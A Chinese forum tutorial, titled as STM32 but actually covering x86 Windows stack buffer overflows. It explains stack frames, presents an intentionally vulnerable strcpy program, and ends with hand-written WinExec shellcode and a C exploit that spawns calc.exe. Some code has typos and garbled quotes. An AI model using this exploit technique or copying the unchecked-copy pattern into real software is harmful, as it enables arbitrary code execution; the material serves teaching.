找回密碼
 立即注冊

QQ登錄

只需一步,快速開始

搜索
查看: 5480|回復(fù): 0
收起左側(cè)

stm32 內(nèi)存溢出攻擊分析

[復(fù)制鏈接]
ID:94349 發(fā)表于 2015-11-9 15:02 | 顯示全部樓層 |閱讀模式
什么是內(nèi)存溢出?簡單的說,內(nèi)存溢出就是程序向內(nèi)存寫入了比分配更多的空間更多的內(nèi)容。攻擊者據(jù)此控制程序執(zhí)行的路徑,冒名執(zhí)行它的代碼。對那些好奇這一切都是如何發(fā)生的人,本文試圖詳細(xì)介紹攻擊的實現(xiàn)機(jī)制并提出一些預(yù)防措施。

從我們知道的經(jīng)驗來看,大多都聽說過這些攻擊,但是很少幾個真的理解攻擊的具體機(jī)制,有些人有些模糊的印象,甚至有些人根本不知道越界攻擊是什么。還有些人認(rèn)為這個屬于秘密的智慧和技能只有少數(shù)幾個專家才能掌握的。實際上,它只不過是由我們這些粗心的程序員制造的漏洞罷了。

C語言編寫的程序擁有高效的性能和很小的二進(jìn)制代碼,卻最容易感染這種攻擊。事實上,在程序界,C語言以靈活和強(qiáng)大著稱,然而它也是諸多新手最頭痛的語言。它提供了基于直接指針的函數(shù)調(diào)用,這樣在一些文本字符串的處理庫上無法控制真正的內(nèi)存長度,因此容易導(dǎo)致內(nèi)存溢出訪問。

在介紹任何攻擊的機(jī)制之前,我們先熟悉一下幾個和程序執(zhí)行以及內(nèi)存管理切切相關(guān)的基本概念。

進(jìn)程內(nèi)存空間

當(dāng)一個程序被執(zhí)行的時候,它的各個編譯單元被映射到一個組織良好的內(nèi)存結(jié)構(gòu)上,如圖1所示:

圖. 1: 進(jìn)程內(nèi)存空間


擴(kuò)展:

text 段保護(hù)了基本的可執(zhí)行的程序代碼,data段包括了所有的全局變量,data段的長度在編譯的時候決定。在內(nèi)存空間的頂端是由stack和heap共享的地址段,他們都是在運(yùn)行時分配。Stack用來保存函數(shù)調(diào)用的參數(shù),局部變量以及一些用來保存程序當(dāng)前狀態(tài)的寄存器值。Heap分配給動態(tài)變量,比如malloc和new。

Stack用來干什么?

Stack是一個LIFO隊列(先進(jìn)后出),由于stack是在函數(shù)的生命周期分配的,因此只有在此生命周期內(nèi)的變量存在在那,這一切的根源在于機(jī)構(gòu)化編程的本質(zhì),我們吧代碼分解為一個一個的函數(shù)代碼段。當(dāng)程序在內(nèi)存里面運(yùn)行的時候,它時而順序的調(diào)用函數(shù),時而從一個函數(shù)調(diào)用另外一個函數(shù),從而構(gòu)成了一個多層的調(diào)用鏈。當(dāng)一個函數(shù)執(zhí)行完后。它需要去執(zhí)行緊接著它的下一個指令,當(dāng)從一個函數(shù)調(diào)用另外一個函數(shù)的時候,它需要凍。╢rozen)當(dāng)前的變量狀態(tài),以便函數(shù)執(zhí)行完返回后恢復(fù)。Stack正好能實現(xiàn)這些需求。

函數(shù)調(diào)用

CPU順序執(zhí)行CPU的指令,使用一個擴(kuò)展的EIP寄存器來維護(hù)執(zhí)行的順序。這個寄存器保存了下一個被執(zhí)行的指令地址。例如,運(yùn)行一個jump或者call一個函數(shù),將會修改EIP寄存器。大家想如果把當(dāng)前代碼的地址寫入EIP,會發(fā)生什么?

調(diào)用完該函數(shù)后需要執(zhí)行的下一個指令的地址叫返回地址(return address),當(dāng)一個函數(shù)被調(diào)用的時候,我們需要把返回地址壓入堆棧。從攻擊者的角度來看,這個機(jī)制至為重要。如果攻擊者通過某種方法設(shè)法修改了保存在堆棧里面的返回地址,那么當(dāng)函數(shù)執(zhí)行完的時候,這個地址將被加載到EIP,因此內(nèi)存溢出的代碼將被下一個執(zhí)行,而不是程序里面的代碼,下面的代碼可以用來解釋堆棧的工作原理。

Listing1

void f(int a, int b)

{

    char buf[10];

    // <-- the stack is watched here

}

void main()

{

    f(1, 2);

}

當(dāng)進(jìn)入 f(), 堆棧的內(nèi)容如圖2所示。

圖. 2 Behavior of the stack during execution of a code from Listing 1


擴(kuò)展:

首先,函數(shù)的參數(shù)被壓入了堆棧的底部(C語言的規(guī)則如此),緊接著是返回地址。下面進(jìn)入f()的執(zhí)行,它首先把當(dāng)前的EBP寄存器壓入堆棧(后面解釋)并且給函數(shù)的局部變量分配空間。有兩件事值得注意:第一,stack是自頂部向下分配的,我們的記住下面這句匯編是增加了stack的大小,雖然這看起來有點容易迷惑,事實上就是ESP越大,堆棧越小。:

sub esp, 08h

第二,stack是32位對齊的,也就是說如果一個10字符的數(shù)組要占用12字節(jié)。

Stack如何工作?

有兩個CPU寄存器對于stack的功能至關(guān)重要,它是ESP和EBP。ESP保存stack的頂部地址,ESP可以被修改,可以被直接修改或者間接修改,直接操作的指令比如,add esp, 08h,將導(dǎo)致ESP縮小8個字節(jié)。間接的操作,比如壓棧和出棧操作。EBP寄存器指向堆棧的底部,更精確的說是包含了堆棧底部和可執(zhí)行代碼之間的距離。每次調(diào)用一個新函數(shù)的時候,當(dāng)前EBP的值被首先壓入stack,然后新的ESP值將被移入EBP寄存器,現(xiàn)在EBP指向了當(dāng)前函數(shù)的堆棧底部。[i]

由于ESP指向stack的頂部,它在程序執(zhí)行過程中不斷變化,用它作為偏移量寄存器很笨重,這就是為什么要有EBP的原因。

威脅

如何知道什么地方可能會被攻擊?我們現(xiàn)在只知道返回地址是保存在stack上面,同時函數(shù)變量也是在stack里面進(jìn)行處理。后面我們將了解,在某些特定的環(huán)境下,正是由于這兩個特性導(dǎo)致返回地址可以被改變。帶著這個疑問,下面讓我們來看一段簡單的小程序。

Listing 2

#include

char *code = "AAAABBBBCCCCDDD"; //including the character '\0' size = 16 bytes

void main()

{

    char buf[8];

    strcpy(buf, code);

}

當(dāng)執(zhí)行該程序的時候,該程序會提示“內(nèi)存訪問錯誤”[ii],為什么?因為當(dāng)我們嘗試把一個16字節(jié)的字符串寫入一個8字節(jié)的空間(這個很少發(fā)生,因為缺乏必要的空間限制檢查)。因此分配的內(nèi)存空間已經(jīng)被超過,在stack底部的數(shù)據(jù)已經(jīng)被改寫。讓我們再回顧一下圖2,stack里面的重要的數(shù)據(jù):幀地址和返回地址都已經(jīng)被改寫了!因此,當(dāng)函數(shù)返回的時候,一個錯誤的返回地址已經(jīng)被寫到EIP,這樣允許程序去執(zhí)行該地址指向的值,產(chǎn)生了一個stack操作錯誤。由此看來,在stack里面破壞返回地址不僅可行而且很平常。糟糕的程序或者含有bug的軟件給攻擊者提供了一個巨大的機(jī)會去執(zhí)行攻擊者設(shè)計的惡意代碼。

Stack overrun

現(xiàn)在我們該梳理一下所有這些知識了。我們已經(jīng)知道程序通過EIP寄存器控制代碼的執(zhí)行,我們還知道在調(diào)用函數(shù)的時候緊跟在函數(shù)后面的一句代碼的地址被壓入堆棧,在函數(shù)調(diào)用返回的時候從stack恢復(fù)并移到EIP寄存器。通過一種控制的方法進(jìn)行內(nèi)存溢出寫入,我們可以弄清返回地址被保存的具體位置。這樣攻擊者就擁有了所有的信息可以去控制程序執(zhí)行他想執(zhí)行的代碼,創(chuàng)建有害的進(jìn)程。簡單的來說,有效的進(jìn)行內(nèi)存侵害的算法如下:

1. 找到一段存在內(nèi)存越界缺陷的代碼;

2. 探測需要多少字節(jié)才能修改返回地址;

3. 計算指向改變后代碼的地址;

4. 寫一段代碼用于被執(zhí)行;

5. 鏈接在一起進(jìn)行測試。

下面的Listing 3是一段可以被利用的代碼示例:

Listing 3 – The victim’s code

#include

#define BUF_LEN 40

void main(int argc, char **argv)

{

    char buf[BUF_LEN];

    if (argv > 1)

    {

        printf(?\buffer length: %d\nparameter length: %d”, BUF_LEN, strlen(argv[1]) );

        strcpy(buf, argv[1]);

    }

}

這段代碼擁有所有的內(nèi)存溢出缺陷的特征:局部stack緩沖,一個不安全的函數(shù)會去改寫內(nèi)存,第一個命令行參數(shù)沒有進(jìn)行長度檢查。

加上我們新學(xué)到的知識,讓我們來完成一個攻擊任務(wù)。我們已經(jīng)清楚,猜測一段代碼存在內(nèi)存溢出缺陷非常容易,如果有源代碼的話就更容易了。第一個方法就是尋找字符相關(guān)函數(shù),比如strcpy(),strcat()或者gets(),他們的共有的特性是都沒有長度限制的拷貝,直到發(fā)現(xiàn)NULL(code 0)為止。而且這些函數(shù)在局部緩沖上進(jìn)行操作,有機(jī)會修改保存在局部緩沖上的函數(shù)的返回地址。另外一個方法是反復(fù)試探法,通過填充大批量的數(shù)據(jù),比如下面的例子:

victim.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

如果程序返回一個訪問沖突的錯誤,我們就可以向下一步了。

下一步,我們需要構(gòu)造一個大字符串,能夠破壞返回地址。這一步也非常簡單,還記得前面我們說過寫入stack都是以WORD對齊的么,我們可以構(gòu)造如下示例的字符串:

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU.............

如果成功,這個字符串將導(dǎo)致程序crash,并彈出著名的錯誤對話框:

The instruction at ?0x4b4b4b4b” referenced memory at ?0x4b4b4b4b”. The memory could not be ?read”

我們知道,0x4b就是字符”K”的ASCII碼,返回地址已經(jīng)被“KKKK”改寫了。好了,下面我們可以進(jìn)入步驟3了,找到當(dāng)前buffer的開始地址不太容易。有很多方法進(jìn)行這種“試探”,現(xiàn)在我們來討論其中一種,其它的后面在討論。我們可以通過跟蹤代碼的方式來獲得所需要的地址。首先通過debugger加載目標(biāo)程序,然后開始單步執(zhí)行,不過令人頭痛的是開始執(zhí)行的時候會有一系列和我們代碼不相關(guān)的系統(tǒng)函數(shù)調(diào)用;蛘咴诔绦蜻\(yùn)行時監(jiān)控程序的stack,跟蹤到出現(xiàn)我們輸入的字符串的下一句。不管用哪個方法,我們最終要找到類似于如下的代碼就算達(dá)到目的了:

:00401045 8A08 mov cl, byte ptr [eax]

:00401047 880C02 mov byte ptr [edx+eax], cl

:0040104A 40 inc eax

:0040104B 84C9 test cl, cl

:0040104D 75F6 jne 00401045

這個是我們所要尋找的strcpy函數(shù),進(jìn)入函數(shù)后,首先讀入EAX指向的內(nèi)存的字節(jié),下一行代碼再寫入到EDX+EAX的地址去,通過讀寄存器,我們可以獲得這個緩存的地址是0x0012fec0。

寫一段shellcode也是一門藝術(shù)。不同的操作系統(tǒng)使用不同的系統(tǒng)函數(shù),就需要不同的方法達(dá)到我們的目的。最簡單的情況下,我們什么都不做,只是改寫返回地址,導(dǎo)致程序出現(xiàn)偏離預(yù)計的行為。事實上,攻擊者可以執(zhí)行任意的代碼,唯一的約束是可使用的空間大。ㄊ聦嵣线@一點也可以設(shè)法克服)和程序的訪問權(quán)限。在大部分情況下,緩沖溢出正是一種被用來獲得超級用戶權(quán)限、利用有缺陷的系統(tǒng)進(jìn)行DOS攻擊的方法。例如,創(chuàng)建一段shellcode允許執(zhí)行命令行處理程序(WinNT/2000下的cmd.exe)。通過調(diào)用系統(tǒng)函數(shù)WinExec或者CreateProcess就可以實現(xiàn)這個目標(biāo)。調(diào)用WinExec的代碼如下:

WinExec(command, state)

為了實現(xiàn)我們的目標(biāo),women需要傳遞這樣的參數(shù):

- 將我們需要傳入的參數(shù)字符串壓棧,也就是“cmd /c calc”.

- 將第二個參數(shù)壓棧,這兒我們不需要內(nèi)容,就壓入NULL(0)。(從右向左的參數(shù)調(diào)用規(guī)則,先壓入第二個參數(shù))

- 將剛剛壓入的“cmd /c calc”的地址作為第一個參數(shù)壓棧。

- 調(diào)用WinExec系統(tǒng)函數(shù).

下面的代碼是完成這個目標(biāo)的一個實現(xiàn):

sub esp, 28h ; 3 bytes

jmp calling ; 2 bytes

par:

call WinExec ; 5 bytes

push eax ; 1 byte

call ExitProcess ; 5 bytes

calling:

xor eax, eax ; 2 bytes

push eax ; 1 byte

call par ; 5 bytes

.string cmd /c calc|| ; 13 bytes

關(guān)于代碼的一些解釋:

sub esp, 28h

在函數(shù)退出的時候會首先回收函數(shù)的局部變量的棧長度,剛剛寫入stack的部分代碼現(xiàn)在被聲明為無效了,這就意味著程序?qū)堰@部分stack分配給別的函數(shù)調(diào)用使用,從而破壞我們剛剛寫入的代碼,因此我們的第一個代碼就是將ESP減40個字節(jié)(相應(yīng)的stack增長了40個字節(jié))。

jmp calling

下一行語句跳轉(zhuǎn)到WinExec函數(shù)參數(shù)壓棧的代碼。我們需要注意以下幾點:第一,NULL值必須通過精心構(gòu)造的方法獲得,因為如果我們直接寫一個0的話,將會在strcpy的時候被當(dāng)成是字符串結(jié)尾而導(dǎo)致后面的代碼無法被寫入堆棧。因此只能把字符串放在最后。我們知道,調(diào)用call指令的時候,會自動將下一個指令的指針壓入stack作為返回地址,我們可以利用這個特性來把字符串和字符串的地址壓入堆棧。為此我們首先跳轉(zhuǎn)到calling語句的位置,將第二個參數(shù)壓入堆棧,然后調(diào)用call,將后面的地址壓入堆棧,接著開始順序調(diào)用WinExec和ExitProcess,下圖是調(diào)用順序,方便的計算各個變量的值。

Fig. 3 A sample shellcode


聯(lián)想:

我們看到,我們的例子沒有考慮EBP壓棧的大小,這是因為我們假設(shè)使用VC7編譯,該編譯器不向堆棧壓入EBP寄存器的內(nèi)容。

剩下的工作就是把上面的代碼轉(zhuǎn)換為二進(jìn)制格式并完成程序進(jìn)行測試了,下面是代碼:

Listing 4 – Exploit of a program victim.exe

char *victim = "victim.exe";

char *code = "\x90\x90\x90\x83\xec\x28\xeb\x0b\xe8\xe2\xa8\xd6\x77\x50\xe8\xc1\x90\xd6\x77\x33\xc0\x50\xe8\xed\xff\xff\xff";

char *oper = "cmd /c calc||";

char *rets = "\xc0\xfe\x12";

char par[42];

void main()

{

    strncat(par, code, 28);

    strncat(par, oper, 14);

    strncat(par, rets, 4);

    char *buf;

    buf = (char*)malloc( strlen(victim) + strlen(par) + 4);

    if (!buf)

    {

        printf("Error malloc");

        return;

    }

    wsprintf(buf, "%s "%s"", victim, par);

    printf("Calling: %s", buf);

    WinExec(buf, 0);

}

太棒了,它能夠工作了!這里需要從Listing 3代碼編譯的victim.exe放在該程序的當(dāng)前目錄。如果一切順利,我們可以看到一個系統(tǒng)的計算器彈出來!

回復(fù)

使用道具 舉報

您需要登錄后才可以回帖 登錄 | 立即注冊

本版積分規(guī)則

小黑屋|51黑電子論壇 |51黑電子論壇6群 QQ 管理員QQ:125739409;技術(shù)交流QQ群281945664

Powered by 單片機(jī)教程網(wǎng)

快速回復(fù) 返回頂部 返回列表